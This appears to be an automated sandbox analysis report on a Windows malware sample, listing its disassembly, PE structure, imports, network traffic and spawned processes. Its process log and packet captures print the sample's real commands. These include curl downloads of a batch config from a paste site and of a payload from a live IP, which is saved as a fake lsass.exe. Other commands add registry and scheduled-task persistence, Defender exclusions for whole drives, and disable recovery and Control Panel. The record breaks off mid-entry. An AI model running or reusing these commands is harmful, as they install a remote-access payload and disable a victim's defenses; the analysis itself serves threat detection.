                                                                                        mov edx, 0041702Eh
                                                                                        lea ecx, dword ptr [00418074h]
                                                                                        call 00007FBCBC69A1C8h
                                                                                        push FFFFFFF5h
                                                                                        call 00007FBCBC69A1D8h
                                                                                        mov dword ptr [00418094h], eax
                                                                                        mov eax, 00000200h
                                                                                        push eax
                                                                                        lea eax, dword ptr [00418110h]
                                                                                        push eax
                                                                                        xor eax, eax
                                                                                        push eax
                                                                                        push 00000015h
                                                                                        push 00000004h
                                                                                        call 00007FBCBC69F592h
                                                                                        push dword ptr [004180F8h]

                                                                                        Data Directories

                                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x1716c0xc8.data
                                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x190000x17d8.rsrc
                                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x174700x23c.data
                                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                        Sections

                                                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                        .code0x10000x387e0x3a0046da2c5018752470fd3127bf22d63b95False0.4595231681034483data5.529218938453912IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                        .text0x50000xd9620xda00e1a026e66953c410d7f60b1f1e3c560fFalse0.5144244552752294data6.56248809649253IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                        .rdata0x130000x33a50x3400a16842a34a5da6feda9533bb3e83c3c1False0.8049128605769231data7.111835561466389IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                        .data0x170000x178c0x1200eb1c67bb0421773cd02e232448a45ccaFalse0.4029947916666667data5.1001395855816964IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                        .rsrc0x190000x17d80x1800370c6bd70e9f7bbb3cea963ae4183ab1False0.92529296875data7.74434169095475IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                        Resources

                                                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                        RT_RCDATA0x1921c0xezlib compressed data1.5714285714285714
                                                                                        RT_RCDATA0x1922c0x6Non-ISO extended-ASCII text, with no line terminators2.3333333333333335
                                                                                        RT_RCDATA0x192340x133bdata1.0022344099126548
                                                                                        RT_RCDATA0x1a5700x1very short file (no magic)9.0
                                                                                        RT_MANIFEST0x1a5740x263XML 1.0 document, ASCII text0.5319148936170213

                                                                                        Imports

                                                                                        DLLImport
                                                                                        MSVCRT.dllmemset, wcsncmp, memmove, wcsncpy, wcsstr, _wcsnicmp, _wcsdup, free, _wcsicmp, wcslen, wcscpy, wcscmp, wcscat, memcpy, tolower, malloc
                                                                                        KERNEL32.dllGetModuleHandleW, HeapCreate, GetStdHandle, SetConsoleCtrlHandler, HeapDestroy, ExitProcess, WriteFile, GetTempFileNameW, LoadLibraryExW, EnumResourceTypesW, FreeLibrary, RemoveDirectoryW, EnumResourceNamesW, GetCommandLineW, LoadResource, SizeofResource, FreeResource, FindResourceW, GetNativeSystemInfo, GetShortPathNameW, GetWindowsDirectoryW, GetSystemDirectoryW, EnterCriticalSection, CloseHandle, LeaveCriticalSection, InitializeCriticalSection, WaitForSingleObject, TerminateThread, CreateThread, GetProcAddress, GetVersionExW, Sleep, WideCharToMultiByte, HeapAlloc, HeapFree, LoadLibraryW, GetCurrentProcessId, GetCurrentThreadId, GetModuleFileNameW, PeekNamedPipe, TerminateProcess, GetEnvironmentVariableW, SetEnvironmentVariableW, GetCurrentProcess, DuplicateHandle, CreatePipe, CreateProcessW, GetExitCodeProcess, SetUnhandledExceptionFilter, HeapSize, MultiByteToWideChar, CreateDirectoryW, SetFileAttributesW, GetTempPathW, DeleteFileW, GetCurrentDirectoryW, SetCurrentDirectoryW, CreateFileW, SetFilePointer, TlsFree, TlsGetValue, TlsSetValue, TlsAlloc, HeapReAlloc, DeleteCriticalSection, InterlockedCompareExchange, InterlockedExchange, GetLastError, SetLastError, UnregisterWait, GetCurrentThread, RegisterWaitForSingleObject
                                                                                        USER32.DLLCharUpperW, CharLowerW, MessageBoxW, DefWindowProcW, DestroyWindow, GetWindowLongW, GetWindowTextLengthW, GetWindowTextW, UnregisterClassW, LoadIconW, LoadCursorW, RegisterClassExW, IsWindowEnabled, EnableWindow, GetSystemMetrics, CreateWindowExW, SetWindowLongW, SendMessageW, SetFocus, CreateAcceleratorTableW, SetForegroundWindow, BringWindowToTop, GetMessageW, TranslateAcceleratorW, TranslateMessage, DispatchMessageW, DestroyAcceleratorTable, PostMessageW, GetForegroundWindow, GetWindowThreadProcessId, IsWindowVisible, EnumWindows, SetWindowPos
                                                                                        GDI32.DLLGetStockObject
                                                                                        COMCTL32.DLLInitCommonControlsEx
                                                                                        SHELL32.DLLShellExecuteExW, SHGetFolderLocation, SHGetPathFromIDListW
                                                                                        WINMM.DLLtimeBeginPeriod
                                                                                        OLE32.DLLCoInitialize, CoTaskMemFree
                                                                                        SHLWAPI.DLLPathAddBackslashW, PathRenameExtensionW, PathQuoteSpacesW, PathRemoveArgsW, PathRemoveBackslashW

                                                                                        Network Behavior

                                                                                        Network Port Distribution

                                                                                        TCP Packets

                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                        Oct 15, 2024 11:26:07.995810032 CEST49713443192.168.2.6104.26.3.16
                                                                                        Oct 15, 2024 11:26:07.995848894 CEST44349713104.26.3.16192.168.2.6
                                                                                        Oct 15, 2024 11:26:07.995932102 CEST49713443192.168.2.6104.26.3.16
                                                                                        Oct 15, 2024 11:26:08.005095005 CEST49713443192.168.2.6104.26.3.16
                                                                                        Oct 15, 2024 11:26:08.005108118 CEST44349713104.26.3.16192.168.2.6
                                                                                        Oct 15, 2024 11:26:08.622097969 CEST44349713104.26.3.16192.168.2.6
                                                                                        Oct 15, 2024 11:26:08.622189999 CEST49713443192.168.2.6104.26.3.16
                                                                                        Oct 15, 2024 11:26:08.629422903 CEST49713443192.168.2.6104.26.3.16
                                                                                        Oct 15, 2024 11:26:08.629431963 CEST44349713104.26.3.16192.168.2.6
                                                                                        Oct 15, 2024 11:26:08.629678965 CEST44349713104.26.3.16192.168.2.6
                                                                                        Oct 15, 2024 11:26:08.634253979 CEST49713443192.168.2.6104.26.3.16
                                                                                        Oct 15, 2024 11:26:08.675446033 CEST44349713104.26.3.16192.168.2.6
                                                                                        Oct 15, 2024 11:26:09.124773979 CEST44349713104.26.3.16192.168.2.6
                                                                                        Oct 15, 2024 11:26:09.124826908 CEST44349713104.26.3.16192.168.2.6
                                                                                        Oct 15, 2024 11:26:09.124876976 CEST49713443192.168.2.6104.26.3.16
                                                                                        Oct 15, 2024 11:26:09.147638083 CEST49713443192.168.2.6104.26.3.16
                                                                                        Oct 15, 2024 11:26:09.147655010 CEST44349713104.26.3.16192.168.2.6
                                                                                        Oct 15, 2024 11:26:12.602982998 CEST497142024192.168.2.6185.254.97.190
                                                                                        Oct 15, 2024 11:26:12.608150005 CEST202449714185.254.97.190192.168.2.6
                                                                                        Oct 15, 2024 11:26:12.608242989 CEST497142024192.168.2.6185.254.97.190
                                                                                        Oct 15, 2024 11:26:12.608465910 CEST497142024192.168.2.6185.254.97.190
                                                                                        Oct 15, 2024 11:26:12.613540888 CEST202449714185.254.97.190192.168.2.6
                                                                                        Oct 15, 2024 11:26:21.086587906 CEST202449714185.254.97.190192.168.2.6
                                                                                        Oct 15, 2024 11:26:21.086675882 CEST497142024192.168.2.6185.254.97.190
                                                                                        Oct 15, 2024 11:26:21.087284088 CEST497142024192.168.2.6185.254.97.190
                                                                                        Oct 15, 2024 11:26:21.092120886 CEST202449714185.254.97.190192.168.2.6

                                                                                        UDP Packets

                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                        Oct 15, 2024 11:26:07.979554892 CEST5797553192.168.2.61.1.1.1
                                                                                        Oct 15, 2024 11:26:07.990890026 CEST53579751.1.1.1192.168.2.6

                                                                                        ICMP Packets

                                                                                        TimestampSource IPDest IPChecksumCodeType
                                                                                        Oct 15, 2024 11:26:07.702614069 CEST192.168.2.68.8.8.84d5aEcho
                                                                                        Oct 15, 2024 11:26:07.709218979 CEST8.8.8.8192.168.2.6555aEcho Reply

                                                                                        DNS Queries

                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                        Oct 15, 2024 11:26:07.979554892 CEST192.168.2.61.1.1.10x4dcdStandard query (0)rentry.coA (IP address)IN (0x0001)false

                                                                                        DNS Answers

                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                        Oct 15, 2024 11:26:07.990890026 CEST1.1.1.1192.168.2.60x4dcdNo error (0)rentry.co104.26.3.16A (IP address)IN (0x0001)false
                                                                                        Oct 15, 2024 11:26:07.990890026 CEST1.1.1.1192.168.2.60x4dcdNo error (0)rentry.co104.26.2.16A (IP address)IN (0x0001)false
                                                                                        Oct 15, 2024 11:26:07.990890026 CEST1.1.1.1192.168.2.60x4dcdNo error (0)rentry.co172.67.75.40A (IP address)IN (0x0001)false

                                                                                        HTTP Request Dependency Graph

                                                                                        • rentry.co
                                                                                        • 185.254.97.190:2024

                                                                                        HTTP Packets

                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        0192.168.2.649714185.254.97.19020245412C:\Windows\System32\curl.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        Oct 15, 2024 11:26:12.608465910 CEST103OUTGET /download/XClient.exe HTTP/1.1
                                                                                        Host: 185.254.97.190:2024
                                                                                        User-Agent: curl/7.83.1
                                                                                        Accept: */*


                                                                                        HTTPS Proxied Packets

                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        0192.168.2.649713104.26.3.164434512C:\Windows\System32\curl.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-10-15 09:26:08 UTC86OUTGET /i7zgdqy6/raw/ HTTP/1.1
                                                                                        Host: rentry.co
                                                                                        User-Agent: curl/7.83.1
                                                                                        Accept: */*
                                                                                        2024-10-15 09:26:09 UTC699INHTTP/1.1 200 OK
                                                                                        Date: Tue, 15 Oct 2024 09:26:08 GMT
                                                                                        Content-Type: text/plain; charset=utf-8
                                                                                        Content-Length: 194
                                                                                        Connection: close
                                                                                        vary: Origin
                                                                                        x-xss-protection: 1; mode=block
                                                                                        x-content-type-options: nosniff
                                                                                        strict-transport-security: max-age=31536000; includeSubDomains
                                                                                        Cache-Control: Vary
                                                                                        CF-Cache-Status: DYNAMIC
                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L2qUpyrHgrb%2B0HVsu5OG8K3LiPwQ0XhkQRywWhqj9wa0LR7CbsmgMj8FA1wm3TD7euel4%2BphQpDoH4RiRpISXg6PZtJT5DDbcGeLOqjN94%2FP%2BCFgG6uU0bNuhQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                        Server: cloudflare
                                                                                        CF-RAY: 8d2ec4105efa6b29-DFW
                                                                                        2024-10-15 09:26:09 UTC194INData Raw: 73 65 74 20 22 73 74 61 72 74 75 70 3d 46 61 6c 73 65 22 0d 0a 73 65 74 20 22 72 65 67 69 73 74 72 79 3d 54 72 75 65 22 0d 0a 73 65 74 20 22 73 63 68 74 61 73 6b 3d 54 72 75 65 22 0d 0a 73 65 74 20 22 6c 69 6e 6b 3d 68 74 74 70 3a 2f 2f 31 38 35 2e 32 35 34 2e 39 37 2e 31 39 30 3a 32 30 32 34 2f 64 6f 77 6e 6c 6f 61 64 2f 58 43 6c 69 65 6e 74 2e 65 78 65 22 0d 0a 73 65 74 20 22 46 69 6c 65 45 78 65 63 75 74 61 62 6c 65 3d 6c 73 61 73 73 2e 65 78 65 22 0d 0a 73 65 74 20 22 57 44 65 78 63 3d 54 72 75 65 22 0d 0a 73 65 74 20 22 42 6c 6f 63 6b 46 6f 6c 64 65 72 3d 54 72 75 65 22
                                                                                        Data Ascii: set "startup=False"set "registry=True"set "schtask=True"set "link=http://185.254.97.190:2024/download/XClient.exe"set "FileExecutable=lsass.exe"set "WDexc=True"set "BlockFolder=True"


                                                                                        Statistics

                                                                                        CPU Usage

                                                                                        Click to jump to process

                                                                                        Memory Usage

                                                                                        Click to jump to process

                                                                                        High Level Behavior Distribution

                                                                                        Click to dive into process behavior distribution

                                                                                        Behavior

                                                                                        Click to jump to process

                                                                                        System Behavior

                                                                                        General

                                                                                        Target ID:0
                                                                                        Start time:05:26:06
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Users\user\Desktop\nkYzjyrKYK.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:"C:\Users\user\Desktop\nkYzjyrKYK.exe"
                                                                                        Imagebase:0x400000
                                                                                        File size:95'744 bytes
                                                                                        MD5 hash:7F5E49656E9AD3806D18F23766F7CAD5
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:low
                                                                                        Has exited:false

                                                                                        General

                                                                                        Target ID:1
                                                                                        Start time:05:26:06
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                        Imagebase:0x7ff66e660000
                                                                                        File size:862'208 bytes
                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high
                                                                                        Has exited:false

                                                                                        General

                                                                                        Target ID:3
                                                                                        Start time:05:26:07
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:"C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe"
                                                                                        Imagebase:0x7ff699f80000
                                                                                        File size:289'792 bytes
                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high
                                                                                        Has exited:false

                                                                                        General

                                                                                        Target ID:4
                                                                                        Start time:05:26:07
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\PING.EXE
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:ping 8.8.8.8 -n 1
                                                                                        Imagebase:0x7ff60eab0000
                                                                                        File size:22'528 bytes
                                                                                        MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:moderate
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:5
                                                                                        Start time:05:26:07
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\net.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:net session
                                                                                        Imagebase:0x7ff6c1e40000
                                                                                        File size:59'904 bytes
                                                                                        MD5 hash:0BD94A338EEA5A4E1F2830AE326E6D19
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:6
                                                                                        Start time:05:26:07
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\net1.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\system32\net1 session
                                                                                        Imagebase:0x7ff60e010000
                                                                                        File size:183'808 bytes
                                                                                        MD5 hash:55693DF2BB3CBE2899DFDDF18B4EB8C9
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:moderate
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:7
                                                                                        Start time:05:26:07
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:curl -s -o u32y.bat https://rentry.co/i7zgdqy6/raw/
                                                                                        Imagebase:0x7ff784760000
                                                                                        File size:530'944 bytes
                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:moderate
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:8
                                                                                        Start time:05:26:09
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\reg.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f
                                                                                        Imagebase:0x7ff778410000
                                                                                        File size:77'312 bytes
                                                                                        MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:moderate
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:9
                                                                                        Start time:05:26:09
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\reg.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
                                                                                        Imagebase:0x7ff778410000
                                                                                        File size:77'312 bytes
                                                                                        MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:moderate
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:10
                                                                                        Start time:05:26:09
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\reg.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanelNamespace" /t REG_DWORD /d 1 /f
                                                                                        Imagebase:0x7ff778410000
                                                                                        File size:77'312 bytes
                                                                                        MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:moderate
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:11
                                                                                        Start time:05:26:09
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\reg.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
                                                                                        Imagebase:0x7ff778410000
                                                                                        File size:77'312 bytes
                                                                                        MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:moderate
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:12
                                                                                        Start time:05:26:09
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:powershell.exe -Command "Disable-ComputerRestore -Drive 'C:'; Enable-ComputerRestore -Drive 'C:'"
                                                                                        Imagebase:0x7ff6e3d50000
                                                                                        File size:452'608 bytes
                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:16
                                                                                        Start time:05:26:11
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\ReAgentc.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:reagentc.exe /disable
                                                                                        Imagebase:0x7ff6f4f80000
                                                                                        File size:44'544 bytes
                                                                                        MD5 hash:A109CC3B919C7D40E4114966340F39E5
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:17
                                                                                        Start time:05:26:12
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\attrib.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:attrib +h ssh
                                                                                        Imagebase:0x7ff649c60000
                                                                                        File size:23'040 bytes
                                                                                        MD5 hash:5037D8E6670EF1D89FB6AD435F12A9FD
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:18
                                                                                        Start time:05:26:12
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:curl -s -o C:\Users\user\AppData\Local\Temp\lsass.exe "http://185.254.97.190:2024/download/XClient.exe"
                                                                                        Imagebase:0x7ff784760000
                                                                                        File size:530'944 bytes
                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:19
                                                                                        Start time:05:26:20
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\lsass.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:lsass.exe
                                                                                        Imagebase:0x7ff7ac940000
                                                                                        File size:59'456 bytes
                                                                                        MD5 hash:A1CC00332BBF370654EE3DC8CDC8C95A
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:20
                                                                                        Start time:05:26:20
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\reg.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "windows-app" /t REG_SZ /d "lsass.exe" /f
                                                                                        Imagebase:0x7ff778410000
                                                                                        File size:77'312 bytes
                                                                                        MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:21
                                                                                        Start time:05:26:20
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\schtasks.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /F
                                                                                        Imagebase:0x7ff7a5450000
                                                                                        File size:235'008 bytes
                                                                                        MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:22
                                                                                        Start time:05:26:20
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\schtasks.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:schtasks /create /tn "winlogon" /tr "lsass.exe" /sc ONSTART /ru SYSTEM /f
                                                                                        Imagebase:0x7ff7a5450000
                                                                                        File size:235'008 bytes
                                                                                        MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:23
                                                                                        Start time:05:26:21
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\net.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:net session
                                                                                        Imagebase:0x7ff6c1e40000
                                                                                        File size:59'904 bytes
                                                                                        MD5 hash:0BD94A338EEA5A4E1F2830AE326E6D19
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:24
                                                                                        Start time:05:26:21
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\net1.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\system32\net1 session
                                                                                        Imagebase:0x7ff60e010000
                                                                                        File size:183'808 bytes
                                                                                        MD5 hash:55693DF2BB3CBE2899DFDDF18B4EB8C9
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:25
                                                                                        Start time:05:26:21
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
                                                                                        Imagebase:0x7ff6e3d50000
                                                                                        File size:452'608 bytes
                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:26
                                                                                        Start time:05:26:21
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\lsass.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:lsass.exe
                                                                                        Imagebase:0x7ff7ac940000
                                                                                        File size:59'456 bytes
                                                                                        MD5 hash:A1CC00332BBF370654EE3DC8CDC8C95A
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:27
                                                                                        Start time:05:26:21
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\lsass.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:lsass.exe
                                                                                        Imagebase:0x7ff7ac940000
                                                                                        File size:59'456 bytes
                                                                                        MD5 hash:A1CC00332BBF370654EE3DC8CDC8C95A
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:29
                                                                                        Start time:05:26:24
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                        Imagebase:0x7ff717f30000
                                                                                        File size:496'640 bytes
                                                                                        MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:30
                                                                                        Start time:05:26:28
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'D:\'"
                                                                                        Imagebase:0x7ff6e3d50000
                                                                                        File size:452'608 bytes
                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:31
                                                                                        Start time:05:26:29
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\lsass.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:"C:\Windows\system32\lsass.exe"
                                                                                        Imagebase:0x7ff7ac940000
                                                                                        File size:59'456 bytes
                                                                                        MD5 hash:A1CC00332BBF370654EE3DC8CDC8C95A
                                                                                        Has elevated privileges:false
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:33
                                                                                        Start time:05:26:37
                                                                                        Start date:15/10/2024
